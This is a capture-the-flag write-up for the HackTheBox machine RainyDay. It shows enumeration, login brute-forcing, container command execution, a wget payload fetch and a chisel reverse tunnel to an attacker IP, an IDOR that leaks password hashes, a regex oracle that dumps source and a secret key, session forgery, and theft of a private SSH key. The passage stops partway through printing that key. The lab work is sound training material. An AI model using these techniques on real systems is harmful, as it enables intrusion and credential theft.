RainyDay
25 minutes to read
jack
and find out that the Docker containers allow to access process information from the machine, and we can read the private SSH key of this user. Next, we can run a custom Python interpreter and escape the sandbox to get a shell as jack_adm
. Finally, we have a tool to generate hashes with bcrypt
, and we need to exploit a limitation of bcrypt
to extract a secret pepper string and then crack root
’s hash in order to escalate privileges- OS: Linux
- Difficulty: Hard
- IP Address: 10.10.11.184
- Release: 15 / 10 / 2022
Port scanning
# Nmap 7.93 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.11.184 -p 22,80
Nmap scan report for 10.10.11.184
Host is up (0.043s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 48dde361dc5d5878f881dd6172fe6581 (ECDSA)
|_ 256 adbf0bc8520f49a9a0ac682a2525cd6d (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://rainycloud.htb
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 8.22 seconds
This machine has ports 22 (SSH) and 80 (HTTP) open.
Enumeration
If we go to http://10.10.11.184
, we will be redirected to http://rainycloud.htb
. After setting the domain in /etc/hosts
, we see this webpage:
First of all, we can enumerate more subdomains using ffuf
:
$ ffuf -w $WORDLISTS/dirbuster/directory-list-lowercase-2.3-medium.txt -u http://10.10.11.184 -H 'Host: FUZZ.rainycloud.htb' -fs 229
dev [Status: 403, Size: 26, Words: 5, Lines: 1, Duration: 411ms]
And there we have dev.rainycloud.htb
, but we are not allowed to access:
$ curl -i dev.rainycloud.htb
HTTP/1.1 403 FORBIDDEN
Server: nginx/1.18.0 (Ubuntu)
Date:
Content-Type: text/html; charset=utf-8
Content-Length: 26
Connection: keep-alive
Access Denied - Invalid IP
From here, we can see that the web technology behind nginx is Flask, because the response status message is in capital letters. Moreover, we cannot bypass the IP check using X-Forwarded-For
header or similar headers. So this is a dead end for the moment.
In the main website, we have jack
as username. We will need to login to use the web application:
But it will be nice to register first:
But registration is closed…
User enumeration
Looking at the HTML code of /login
, there is a debug message that leaks a source file path:
In fact, 288
is the line of code where the program has failed. Surprisingly, if we use jack
as username to login, we see 294
in the debug message:
So here we have a way to enumerate users. Let’s use ffuf
:
$ ffuf -w $WORDLISTS/names.txt -u http://rainycloud.htb/login -d 'username=FUZZ&password=asdf' -H 'Content-Type: application/x-www-form-urlencoded' -mr 294
gary [Status: 200, Size: 3488, Words: 1270, Lines: 66, Duration: 1351ms]
jack [Status: 200, Size: 3488, Words: 1270, Lines: 66, Duration: 490ms]
root [Status: 200, Size: 3488, Words: 1270, Lines: 66, Duration: 226ms]
So we have 3 available users.
Brute force attack
In order to have some reconnaissance in background, I guessed that gary
had a weak password, so I did a brute force attack using the first passwords in rockyou.txt
until I found a successful login:
$ for p in $(head -10000 $WORDLISTS/rockyou.txt); do curl rainycloud.htb/login -sd "username=gary&password=$p" | md5sum | tr \\n ' '; echo $p; done | grep -v 225c68dfe55778812b201bd4cf01fbd5
0aff13952610be440befcb31a31a4c3f - rubberducky
Unexpectedly, after more than an hour, I found that rubberducky
was the password for gary
.
Notice that I used the MD5 hash of the response to determine the one that was successful.
JavaScript file enumeration
While waiting for the brute force attack to complete, I enumerated web routes and JavaScript files using ffuf
:
$ ffuf -w $WORDLISTS/dirbuster/directory-list-2.3-medium.txt -u http://rainycloud.htb/FUZZ
login [Status: 200, Size: 3254, Words: 1158, Lines: 63, Duration: 67ms]
new [Status: 302, Size: 199, Words: 18, Lines: 6, Duration: 109ms]
register [Status: 200, Size: 3686, Words: 1324, Lines: 68, Duration: 67ms]
logout [Status: 302, Size: 189, Words: 18, Lines: 6, Duration: 53ms]
[Status: 200, Size: 4378, Words: 1045, Lines: 110, Duration: 302ms]
containers [Status: 302, Size: 199, Words: 18, Lines: 6, Duration: 259ms]
$ ffuf -w $WORDLISTS/dirbuster/directory-list-2.3-medium.txt -u http://rainycloud.htb/js/FUZZ.js
signup [Status: 200, Size: 259, Words: 58, Lines: 12, Duration: 59ms]
containers [Status: 200, Size: 1606, Words: 437, Lines: 51, Duration: 182ms]
The only interesting file is containers.js
:
function saveBlob(blob, fileName) {
var a = document.createElement('a');
a.href = window.URL.createObjectURL(blob);
a.download = fileName;
a.dispatchEvent(new MouseEvent('click'));
}
// RainyCloud-1: TODO - Implement REST API sensibly (this is dumb!)
function action(action_name, container_id, ctx) {
ctx.disabled = true;
let xhr = new XMLHttpRequest();
xhr.open("POST", "/containers");
xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
data = {
"action": action_name,
"id": container_id
}
if (action_name === "logs" || action_name.startsWith("exec")) {
if (action_name.startsWith("exec"))
{
data['action'] = action_name + prompt("Enter Command: ")
}
xhr.responseType = 'blob';
xhr.onload = function (e) {
var blob = e.currentTarget.response;
var contentDispo = e.currentTarget.getResponseHeader('Content-Disposition');
// https://stackoverflow.com/a/23054920/
var fileName = contentDispo.match(/filename[^;=\n]*=((['"]).*?\2|[^;\n]*)/)[1];
saveBlob(blob, fileName);
ctx.disabled = false;
location.reload();
}
}
else
{
xhr.onload = function (e) {
ctx.disabled = false;
if (action_name.startsWith("create"))
{
location.href = "/containers"
}
else
{
location.reload();
}
}
}
xhr.send(new URLSearchParams(data).toString())
}
Basically, we can interact with containers using an id
and an action
. We can also see another debug message.
Since we have access as gary
, we can take a look at /containers
:
Let’s create a new alpine
container called test
:
In the HTML code of the website we see the interaction with JavaScript using stop
, exec
, execdetach
and logs
actions. Moreover, we have the id
of the container:
Furthermore, we can confirm that the web technology is Flask, since we have a typical Flask session cookie:
This cookie only holds our username:
$ flask-unsign -d -c eyJ1c2VybmFtZSI6ImdhcnkifQ.Y0tEKA.96Pgi_pmEs4SXG4CSpq_wvAQ31w
{'username': 'gary'}
Unfortunately, the secret key that signs cookies is not crackable with rockyou.txt
and flask-unsign
.
Container enumeration
Let’s try to execute commands in the new Docker container:
$ cookie=eyJ1c2VybmFtZSI6ImdhcnkifQ.Y0tEKA.96Pgi_pmEs4SXG4CSpq_wvAQ31w
$ curl rainycloud.htb/containers --data-urlencode "action=execls" -d 'id=b420a98bd8eafcb1f35e5d91258172caa51db54a60f0e8262086e3ca5f357188' -H "Cookie: session=$cookie"
bin
dev
etc
home
lib
logfile
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
We can wrap the above command in a function in order to work better:
$ function exec_cmd() { curl rainycloud.htb/containers --data-urlencode "action=exec$1" -sd 'id=b420a98bd8eafcb1f35e5d91258172caa51db54a60f0e8262086e3ca5f357188' -H "Cookie: session=$cookie" }
$ exec_cmd 'ls -la'
total 64
drwxr-xr-x 1 root root 4096 Oct 15 23:40 .
drwxr-xr-x 1 root root 4096 Oct 15 23:40 ..
-rwxr-xr-x 1 root root 0 Oct 15 23:40 .dockerenv
drwxr-xr-x 2 root root 4096 Sep 29 13:47 bin
drwxr-xr-x 15 root root 3860 Oct 15 23:40 dev
drwxr-xr-x 1 root root 4096 Oct 15 23:40 etc
drwxr-xr-x 2 root root 4096 Sep 29 13:47 home
drwxr-xr-x 7 root root 4096 Sep 29 13:47 lib
-rwxrwxrwx 1 root root 0 Oct 15 23:40 logfile
drwxr-xr-x 5 root root 4096 Sep 29 13:47 media
drwxr-xr-x 2 root root 4096 Sep 29 13:47 mnt
drwxr-xr-x 2 root root 4096 Sep 29 13:47 opt
dr-xr-xr-x 287 root root 0 Oct 15 23:40 proc
drwx------ 2 root root 4096 Sep 29 13:47 root
drwxr-xr-x 2 root root 4096 Sep 29 13:47 run
drwxr-xr-x 2 root root 4096 Sep 29 13:47 sbin
drwxr-xr-x 2 root root 4096 Sep 29 13:47 srv
dr-xr-xr-x 13 root root 0 Oct 15 23:40 sys
drwxrwxrwt 2 root root 4096 Sep 29 13:47 tmp
drwxr-xr-x 7 root root 4096 Sep 29 13:47 usr
drwxr-xr-x 12 root root 4096 Sep 29 13:47 var
We can enumerate running processes as follows:
$ exec_cmd 'ps -a'
PID USER TIME COMMAND
1 root 0:04 {systemd} /sbin/init
2 root 0:00 [kthreadd]
...
453 root 0:01 [jbd2/dm-0-8]
454 root 0:00 [ext4-rsv-conver]
514 root 1:39 /lib/systemd/systemd-journald
545 root 0:00 [ipmi-msghandler]
551 root 0:00 [kaluad]
552 root 0:00 [kmpath_rdacd]
554 root 0:00 [kmpathd]
556 root 0:00 [kmpath_handlerd]
558 root 0:08 /sbin/multipathd -d -s
560 root 0:00 /lib/systemd/systemd-udevd
579 101 0:01 /lib/systemd/systemd-networkd
653 root 0:00 [nfit]
748 root 0:00 [jbd2/sda2-8]
749 root 0:00 [ext4-rsv-conver]
763 102 0:10 /lib/systemd/systemd-resolved
764 104 0:03 /lib/systemd/systemd-timesyncd
783 root 0:00 /usr/bin/VGAuthService
786 root 1:34 /usr/bin/vmtoolsd
809 root 0:00 /sbin/dhclient -1 -4 -v -i -pf /run/dhclient.eth0.pid -lf /var/lib/dhcp/dhclient.eth0.leases -I -df /var/lib/dhcp/dhclient6.eth0.leases eth0
853 103 0:00 {dbus-daemon} @dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
858 root 0:03 /usr/sbin/irqbalance --foreground
861 root 0:00 {networkd-dispat} /usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-triggers
862 root 0:00 /usr/libexec/polkitd --no-debug
863 107 0:50 /usr/sbin/rsyslogd -n -iNONE
864 root 0:04 /usr/lib/snapd/snapd
865 root 0:00 /lib/systemd/systemd-logind
866 root 0:00 /usr/libexec/udisks2/udisksd
886 root 0:00 /usr/sbin/ModemManager
1189 root 0:00 /usr/sbin/cron -f -P
1190 1000 0:00 sleep 100000000
1203 root 1:08 /usr/bin/containerd
1214 root 0:00 /sbin/agetty -o -p -- \u --noclear tty1 linux
1220 root 0:00 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
1237 root 0:00 nginx: master process /usr/sbin/nginx -g daemon on; master_process on;
1238 xfs 2:52 nginx: worker process
1239 xfs 3:23 nginx: worker process
1255 root 0:28 /usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock
1473 root 0:00 /usr/bin/docker-proxy -proto tcp -host-ip 0.0.0.0 -host-port 49153 -container-ip 172.18.0.2 -container-port 40001
1478 root 0:00 /usr/bin/docker-proxy -proto tcp -host-ip :: -host-port 49153 -container-ip 172.18.0.2 -container-port 40001
1492 root 0:00 /usr/bin/docker-proxy -proto tcp -host-ip 0.0.0.0 -host-port 40000 -container-ip 172.18.0.2 -container-port 40000
1498 root 0:00 /usr/bin/docker-proxy -proto tcp -host-ip :: -host-port 40000 -container-ip 172.18.0.2 -container-port 40000
1514 root 0:10 /usr/bin/containerd-shim-runc-v2 -namespace moby -id c0fe876cc336487fb0bf8e28e08538a6dff303eb21ce58051015fb1eec4dded8 -address /run/containerd/containerd.sock
1536 root 0:03 tail -f /logfile
1610 1001 1h02 /usr/local/bin/uwsgi --ini rainycloud.ini --threads 10
4165 root 0:00 /usr/bin/docker-proxy -proto tcp -host-ip 0.0.0.0 -host-port 40001 -container-ip 172.18.0.3 -container-port 40001
4171 root 0:00 /usr/bin/docker-proxy -proto tcp -host-ip :: -host-port 40001 -container-ip 172.18.0.3 -container-port 40001
4197 root 0:11 /usr/bin/containerd-shim-runc-v2 -namespace moby -id b420a98bd8eafcb1f35e5d91258172caa51db54a60f0e8262086e3ca5f357188 -address /run/containerd/containerd.sock
4230 root 0:02 tail -f /logfile
15057 root 0:00 [kworker/u256:2-]
15143 root 0:00 [kworker/0:1-eve]
15146 root 0:00 [kworker/1:1-rcu]
15180 root 0:00 [kworker/0:0-cgr]
15197 root 0:00 [kworker/u256:0-]
15206 root 0:00 [kworker/1:0-rcu]
15262 root 0:00 [kworker/0:2]
15263 root 0:00 [kworker/u256:1-]
15274 root 0:00 [kworker/1:2-eve]
15276 1337 0:00 ps -a
15284 1337 0:00 timeout 5s ps -a
Here we see some interesting things:
c0fe876cc336487f...
is theid
forjack
’s container namedsecrets
. Its IP address is172.18.0.2
- There are some ports opened in the main machine: 40000, 40001 and 49153. We have connection with the machine from
172.18.0.1
- Our IP address is
172.18.0.3
- A process from the machine is
/usr/local/bin/uwsgi --ini rainycloud.ini --threads 10
, which runs the production web server using Flask
We cannot connect to the other container:
$ curl rainycloud.htb/containers -d 'id=c0fe876cc336487fb0bf8e28e08538a6dff303eb21ce58051015fb1eec4dded8' --data-urlencode "action=execls" -H "Cookie: session=$cookie"
Unauthorized
Accessing the development environment
We need to remember that there was a subdomain that blocks our external IP address, but we can access from inside the container:
$ exec_cmd 'wget -qO- --header="Host: dev.rainycloud.htb" 172.18.0.1'
<!doctype html>
<html lang="en">
...
<body>
<nav class="navbar navbar-expand-md navbar-light fixed-top bg-light">
<a class="navbar-brand" href="/">RainyCloud</a> <img src="img/cloud-service.png"></img>
...
</nav>
<main role="main">
<div class="jumbotron">
<div class="container">
<h1 class="display-3">Welcome to RainyCloud (Dev)!</h1>
<p>Rainycloud is the simple hosting service that you need! Simply register and start a docker container at the click of a button!</p>
WARNING: This tool is still in beta. The features coming in the next release include better command execution, better log viewing and an accessible and documented REST API.
</div>
</div>
<div class="container">
<!-- Example row of columns -->
<div class="row">
<div class="col-md-4">
<h2> Online Containers</h2>
<table class="table">
<thead>
<th scope="col">Container Name</th>
<th scope="col">Image Name</th>
<th scope="col">User</th>
</thead>
<tbody>
<tr>
<td>test</td>
<td>alpine:latest</td>
<td>gary</td>
</tr>
<tr>
<td>secrets</td>
<td>alpine-python:latest</td>
<td>jack</td>
</tr>
</tbody>
</table>
</div>
<div class="col-md-4">
</div>
...
</div>
<hr>
</div> <!-- /container -->
</main>
<footer class="container">
<p>© Company 2017-2018</p>
</footer>
...
</body>
</html>
There we have it. At this point, it will be nice to download chisel
in the container and perform a port forwarding in order to view the website in the browser. When downloaded, we can run it in detached mode using execdetach
command (we can abuse the exec_cmd
function for that):
$ exec_cmd 'wget -qO /tmp/.chisel 10.10.17.44/chisel'
$ exec_cmd 'chmod +x /tmp/.chisel'
$ exec_cmd 'detach/tmp/.chisel client 10.10.17.44:1234 R:80:172.18.0.1:80'
Success
$ python3 -m http.server 80
Serving HTTP on :: port 80 (http://[::]:80/) ...
::ffff:10.10.11.184 - - [] "GET /chisel HTTP/1.1" 200 -
^C
Keyboard interrupt received, exiting.
$ ./chisel server -p 1234 --reverse
server: Reverse tunnelling enabled
server: Fingerprint 2v6LdPLlcUWC6gh6Di2QZgYLGvH6Kfvr0RjMF5WYaR8=
server: Listening on http://0.0.0.0:1234
server: session#1: tun: proxy#R:80=>172.18.0.1:80: Listening
Now, we need to set dev.rainycloud.htb
to point to 127.0.0.1
in /etc/hosts
. Then, we have this development website:
API enumeration
There are some hints that point to an API. If we add a trailing slash to the ffuf
command, we will see that it is another available route:
$ ffuf -w $WORDLISTS/dirbuster/directory-list-2.3-medium.txt -u http://dev.rainycloud.htb/FUZZ/
api [Status: 200, Size: 649, Words: 105, Lines: 24, Duration: 78ms]
[Status: 200, Size: 4574, Words: 1172, Lines: 116, Duration: 79ms]
Actually, it also works for rainycloud.htb
:
$ curl dev.rainycloud.htb/api/
<h1> API v0.1 </h1>
Welcome to the RainyCloud dev API. This is UNFINISHED and should not be used without permission.
<table>
<tr>
<th>Endpoint</th>
<th>Description</th>
</tr>
<tr>
<td><pre>/api/</pre></td>
<td>This page</td>
</tr>
<tr>
<td><pre>/api/list</pre></td>
<td>Lists containers</td>
</tr>
<tr>
<td><pre>/api/healthcheck</pre></td>
<td>Checks the health of the website (path, type and pattern parameters only available internally)</td>
</tr>
<tr>
<td><pre>/api/user/<id></pre></td>
<td>Gets information about the given user. Can only view current user information</td>
</tr>
$ curl dev.rainycloud.htb/api/ -s | md5sum
5caace956c65ddc00f3cd166d83a3327 -
$ curl rainycloud.htb/api/ -s | md5sum
5caace956c65ddc00f3cd166d83a3327 -
Here we can interact a bit with the API:
$ curl rainycloud.htb/api/list -s | jq
{
"secrets": {
"image": "alpine-python:latest",
"user": "jack"
},
"test": {
"image": "alpine:latest",
"user": "gary"
}
}
$ curl rainycloud.htb/api/healthcheck -s | jq
{
"result": true,
"results": []
}
$ curl rainycloud.htb/api/user/0 -s | jq
{}
$ curl rainycloud.htb/api/user/1 -s | jq
{
"Error": "Not allowed to view other users info!"
}
We see that we cannot list other user’s information. But we can trick the server and use floating values to bypass the verification:
$ curl rainycloud.htb/api/user/1.0 -s | jq
{
"id": 1,
"password": "$2a$10$bit.DrTClexd4.wVpTQYb.FpxdGFNPdsVX8fjFYknhDwSxNJh.O.O",
"username": "jack"
}
$ curl rainycloud.htb/api/user/2.0 -s | jq
{
"id": 2,
"password": "$2a$05$FESATmlY4G7zlxoXBKLxA.kYpZx8rLXb2lMjz3SInN4vbkK82na5W",
"username": "root"
}
$ curl rainycloud.htb/api/user/3.0 -s | jq
{
"id": 3,
"password": "$2b$12$WTik5.ucdomZhgsX6U/.meSgr14LcpWXsCA0KxldEw8kksUtDuAuG",
"username": "gary"
}
$ curl rainycloud.htb/api/user/4.0 -s | jq
{}
There we have some hashed passwords (in bcrypt
format). I guess that the intended way to get gary
’s password is to crack the hash using john
or hashcat
.
We can find some differences in dev.rainycloud.htb
:
$ curl dev.rainycloud.htb/api/healthcheck -s | jq
{
"result": true,
"results": [
{
"file": "/bin/bash",
"pattern": {
"type": "ELF"
}
},
{
"file": "/var/www/rainycloud/app.py",
"pattern": {
"type": "PYTHON"
}
},
{
"file": "/var/www/rainycloud/sessions/db.sqlite",
"pattern": {
"type": "SQLITE"
}
},
{
"file": "/etc/passwd",
"pattern": {
"pattern": "^root.*",
"type": "CUSTOM"
}
}
]
}
Since it is an API, we can try sending POST requests:
$ curl rainycloud.htb/api/healthcheck -d ''
POST only allowed from internal systems
$ curl dev.rainycloud.htb/api/healthcheck -d ''
Unauthenticated
$ curl dev.rainycloud.htb/api/healthcheck -d '' -H "Cookie: session=$cookie"
ERROR - missing parameter
Foothold
We are only allowed to send POST requests in the development environment, and using the session cookie. After some guessing and trial and error, we have a successful output:
$ curl dev.rainycloud.htb/api/healthcheck -d 'file=/etc/passwd&pattern=root&type=CUSTOM' -sH "Cookie: session=$cookie" | jq
{
"result": true,
"results": [
{
"file": "/etc/passwd",
"pattern": {
"pattern": "root",
"type": "CUSTOM"
}
}
]
}
Now we have a way to dump every file character by character:
$ curl dev.rainycloud.htb/api/healthcheck -d 'file=/etc/hostname&pattern=rainyday&type=CUSTOM' -sH "Cookie: session=$cookie" | jq .result
true
$ curl dev.rainycloud.htb/api/healthcheck -d 'file=/etc/hostname&pattern=rainydax&type=CUSTOM' -sH "Cookie: session=$cookie" | jq .result
false
Reading files from the server
We will be extracting the Python source code located at /var/www/rainycloud/app.py
using this oracle (one byte at a time):
$ curl dev.rainycloud.htb/api/healthcheck -d 'file=/var/www/rainycloud/app.py&pattern=#&type=CUSTOM' -sH "Cookie: session=$cookie" | jq .result
true
$ curl dev.rainycloud.htb/api/healthcheck -d 'file=/var/www/rainycloud/app.py&pattern=#!/usr/bin/python3&type=CUSTOM' -sH "Cookie: session=$cookie" | jq .result
true
$ curl dev.rainycloud.htb/api/healthcheck -d 'file=/var/www/rainycloud/app.py&pattern=#!/usr/bin/python3%0a&type=CUSTOM' -sH "Cookie: session=$cookie" | jq .result
true
We can also approximate the length of the file:
$ curl dev.rainycloud.htb/api/healthcheck -d 'file=/var/www/rainycloud/app.py&pattern=[\s\S]{200,}&type=CUSTOM' -sH "Cookie: session=$cookie" | jq .result
true
$ curl dev.rainycloud.htb/api/healthcheck -d 'file=/var/www/rainycloud/app.py&pattern=[\s\S]{500,}&type=CUSTOM' -sH "Cookie: session=$cookie" | jq .result
true
$ curl dev.rainycloud.htb/api/healthcheck -d 'file=/var/www/rainycloud/app.py&pattern=[\s\S]{5000,}&type=CUSTOM' -sH "Cookie: session=$cookie" | jq .result
true
$ curl dev.rainycloud.htb/api/healthcheck -d 'file=/var/www/rainycloud/app.py&pattern=[\s\S]{10000,}&type=CUSTOM' -sH "Cookie: session=$cookie" | jq .result
true
$ curl dev.rainycloud.htb/api/healthcheck -d 'file=/var/www/rainycloud/app.py&pattern=[\s\S]{20000,}&type=CUSTOM' -sH "Cookie: session=$cookie" | jq .result
false
So, let’s use a Python script to find the exact length (using binary search) and then start dumping the file: extract_file.py (detailed explanation here).
After a while, I saw the first lines of /var/www/rainycloud/app.py
:
$ python3 extract_file.py $cookie /var/www/rainycloud/app.py
[+] Length: 11572
[<] Content: 449 / 11572
#!/usr/bin/python3
import re
from flask import *
import docker
import bcrypt
import socket
import string
from flask_sqlalchemy import SQLAlchemy
from os.path import exists
from hashlib import md5
from inspect import currentframe, getframeinfo
from urllib.parse import urlparse
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address
#secrets.py
from secrets import SECRET_KEY
app = Flask(__name__, static_url_path="")
[!] Exiting...
So, I will continue dumping the file in the background but I will focus on dumping the secret key from /var/www/rainycloud/secrets.py
:
$ python3 extract_file.py $cookie /var/www/rainycloud/secrets.py
[+] Length: 80
[+] Content: 80 / 80
SECRET_KEY = 'f77dd59f50ba412fcfbd3e653f8f3f2ca97224dd53cf6304b4c86658a75d8f67'
[+] File saved as: var_www_rainycloud_secrets.py
[*] Elapsed time: 0:02:51
Accessing jack
’s container
Now we are able to forge Flask session cookies using the above secret key and flask-unsign
:
$ flask-unsign -s -c "{'username': 'jack'}" --secret f77dd59f50ba412fcfbd3e653f8f3f2ca97224dd53cf6304b4c86658a75d8f67
eyJ1c2VybmFtZSI6ImphY2sifQ.Y0yRIA.8_oTEQXDDh4fNwYdvGeJVuWQs_8
Using the above cookie, we can interact with jack
’s Docker container:
$ cookie=eyJ1c2VybmFtZSI6ImphY2sifQ.Y0yRIA.8_oTEQXDDh4fNwYdvGeJVuWQs_8
$ function exec_cmd() { curl rainycloud.htb/containers --data-urlencode "action=exec$1" -sd 'id=c0fe876cc336487fb0bf8e28e08538a6dff303eb21ce58051015fb1eec4dded8' -H "Cookie: session=$cookie" }
$ exec_cmd 'ls -la'
total 64
drwxr-xr-x 1 root root 4096 Sep 29 13:47 .
drwxr-xr-x 1 root root 4096 Sep 29 13:47 ..
-rwxr-xr-x 1 root root 0 Aug 25 10:33 .dockerenv
drwxr-xr-x 2 root root 4096 Sep 29 13:47 bin
drwxr-xr-x 15 root root 3860 Oct 16 19:02 dev
drwxr-xr-x 1 root root 4096 Sep 29 13:47 etc
drwxr-xr-x 2 root root 4096 Sep 29 13:47 home
drwxr-xr-x 1 root root 4096 Sep 29 13:47 lib
-rwxrwxrwx 1 root root 0 Oct 16 19:02 logfile
drwxr-xr-x 5 root root 4096 Sep 29 13:47 media
drwxr-xr-x 2 root root 4096 Sep 29 13:47 mnt
drwxr-xr-x 1 root root 4096 Sep 29 13:47 opt
dr-xr-xr-x 286 root root 0 Oct 16 19:02 proc
drwx------ 1 root root 4096 Sep 29 13:47 root
drwxr-xr-x 2 root root 4096 Sep 29 13:47 run
drwxr-xr-x 2 root root 4096 Sep 29 13:47 sbin
drwxr-xr-x 2 root root 4096 Sep 29 13:47 srv
dr-xr-xr-x 13 root root 0 Oct 16 19:02 sys
drwxrwxrwt 2 root root 4096 Sep 29 13:47 tmp
drwxr-xr-x 1 root root 4096 Sep 29 13:47 usr
drwxr-xr-x 1 root root 4096 Sep 29 13:47 var
$ exec_cmd 'hostname'
c0fe876cc336
There’s a note that points out that the Docker container is not fully secure:
$ exec_cmd 'ls -la /opt'
total 12
drwxr-xr-x 1 root root 4096 Sep 29 13:47 .
drwxr-xr-x 1 root root 4096 Sep 29 13:47 ..
drwxr-xr-x 2 root root 4096 Sep 29 13:47 notes
$ exec_cmd 'ls -la /opt/notes'
total 12
drwxr-xr-x 2 root root 4096 Sep 29 13:47 .
drwxr-xr-x 1 root root 4096 Sep 29 13:47 ..
-rw-r--r-- 1 root root 134 Aug 25 10:41 dev_notes.txt
$ exec_cmd 'cat /opt/notes/dev_notes.txt'
- A friend sent me some 'best practices' for docker containers that he suggested I should read through. Set aside some time for that
Access via SSH
In fact, we were able to see processes from the main machine before. Indeed, there’s a process running by the user with UID 1000:
$ exec_cmd 'ps -a' | grep -a 1000
1189 1000 0:00 sleep 100000000
22510 1000 1:14 /tmp/.chisel client 10.10.17.44:1234 R:80:172.18.0.1:80
38949 1000 0:00 /bin/sh
39387 1000 0:00 sh
39917 1000 0:00 sh
55037 1000 0:00 /lib/systemd/systemd --user
55039 1000 0:00 (sd-pam)
55150 1000 0:00 sshd: jack@pts/0
55153 1000 0:00 -bash
So, we can take the PID (1189) and look at /proc/1189/cwd
to see the current working directory of that process:
$ exec_cmd 'ls -l /proc/1189/cwd'
lrwxrwxrwx 1 1000 1000 0 Oct 16 23:32 /proc/1189/cwd -> /home/jack
So, we can access /home/jack
:
$ exec_cmd 'ls -la /proc/1189/cwd/'
total 28
drwxr-x--- 3 1000 1000 4096 Sep 29 13:47 .
drwxr-xr-x 4 root root 4096 Sep 29 13:47 ..
lrwxrwxrwx 1 root root 9 Sep 29 12:16 .bash_history -> /dev/null
-rw-r--r-- 1 1000 1000 220 Jan 6 2022 .bash_logout
-rw-r--r-- 1 1000 1000 3771 Jan 6 2022 .bashrc
-rw-r--r-- 1 1000 1000 807 Jan 6 2022 .profile
drwx------ 2 1000 1000 4096 Sep 29 13:47 .ssh
-rw-r----- 1 1000 1000 33 Oct 16 19:02 user.txt
Actually, this was also possible from gary
’s container, but using a reverse shell in detached mode (because normal execution was with UID 1337, and detached mode is for UID 1000… A bit strange).
In order to get access to the machine, we can take jack
’s private SSH key:
$ exec_cmd 'cat /proc/1189/cwd/.ssh/id_rsa' | tee id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEA7Ce/LAvrYP84rAa7QU51Y+HxWRC5qmmVX4wwiCuQlDqz73uvRkXq
qdDbDtTCnJUVwNJIFr4wIMrXAOvEp0PTaUY5xyk3KW4x9S1Gqu8sV1rft3Fb7rY1RxzUow
SjS+Ew+ws4cpAdl/BvrCrw9WFwEq7QcskUCON145N06NJqPgqJ7Z15Z63NMbKWRhvIoPRO
JDhAaulvxjKdJr7AqKAnt+pIJYDkDeAfYuPYghJN/neeRPan3ue3iExiLdk7OA/8PkEVF0
/pLldRcUB09RUIoMPm8CR7ES/58p9MMHIHYWztcMtjz7mAfTcbwczq5YX3eNbHo9YFpo95
MqTueSxiSKsOQjPIpWPJ9LVHFyCEOW5ONR/NeWjxCEsaIz2NzFtPq5tcaLZbdhKnyaHE6k
m2eS8i8uVlMbY/XnUpRR1PKvWZwiqlzb4F89AkqnFooztdubdFbozV0vM7UhqKxtmMAtnu
a20uKD7bZV8W/rWvl5UpZ2A+0UEGicsAecT4kUghAAAFiHftftN37X7TAAAAB3NzaC1yc2
EAAAGBAOwnvywL62D/OKwGu0FOdWPh8VkQuapplV+MMIgrkJQ6s+97r0ZF6qnQ2w7UwpyV
FcDSSBa+MCDK1wDrxKdD02lGOccpNyluMfUtRqrvLFda37dxW+62NUcc1KMEo0vhMPsLOH
KQHZfwb6wq8PVhcBKu0HLJFAjjdeOTdOjSaj4Kie2deWetzTGylkYbyKD0TiQ4QGrpb8Yy
nSa+wKigJ7fqSCWA5A3gH2Lj2IISTf53nkT2p97nt4hMYi3ZOzgP/D5BFRdP6S5XUXFAdP
UVCKDD5vAkexEv+fKfTDByB2Fs7XDLY8+5gH03G8HM6uWF93jWx6PWBaaPeTKk7nksYkir
DkIzyKVjyfS1RxcghDluTjUfzXlo8QhLGiM9jcxbT6ubXGi2W3YSp8mhxOpJtnkvIvLlZT
G2P151KUUdTyr1mcIqpc2+BfPQJKpxaKM7Xbm3RW6M1dLzO1IaisbZjALZ7mttLig+22Vf
Fv61r5eVKWdgPtFBBonLAHnE+JFIIQAAAAMBAAEAAAGAB0Sd5JwlTWHte5Xlc3gXstBEXk
pefHktaLhm0foNRBKecRNsbIxAUaOk6krwBmOsPLf8Ef8eehPkFBotfjxfKFFJ+/Avy22h
yfrvvtkHk1Svp/SsMKeY8ixX+wBsiixPFprczOHUl1WGClVz/wlVqq2Iqs+3dyKRAUULhx
LaxDgM0KxVDTTTKOFnMJcwUIvUT9cPXHr8vqvWHFgok8gCEO379HOIEUlBjgiXJEGt9tP1
oge5WOnmwyIer2yNHweW26xyaSgZjZWP6z9Il1Gab0ZXRu1sZYadcEXZcOQT6frZhlF/Dx
pmgbdtejlRcUaI86mrwPFAP1PClLMlilroEaHCl8Dln5HEqnkpoNaJyg8di1pud+rJwlQw
ZyL6xnJ0Ke4ul3fDWpYnO/t8q5DQgnIhRKwyDGSM7M6DqBXi8CHSbPITzOMaiWgNzue49D
7ejAWa2sSlHJYhS0Uxpa7xQ3LslsnnysxIsZHKwmaMerKMGRmpoV2h5/VnXVeiEMIxAAAA
wQCoxMsk1JPEelb6bcWIBcJ0AuU5f16fjlYZMRLP75x/el1/KYo3J9gk+9BMw9AcZasX7Q
LOsbVdL45y14IIe6hROnj/3b8QPsmyEwGc13MYC0jgKN7ggUxkp4BPH4EPbPfouRkj7WWL
UwVjOxsPTXt2taMn5blhEF2+YwH5hyrVS2kW4CPYHeVMa1+RZl5/xObp/A62X/CWHY9CMI
nY9sRDI415LvIgofRqEdYgCdC6UaE/MSuDiuI0QcsyGucQlMQAAADBAPFAnhZPosUFnmb9
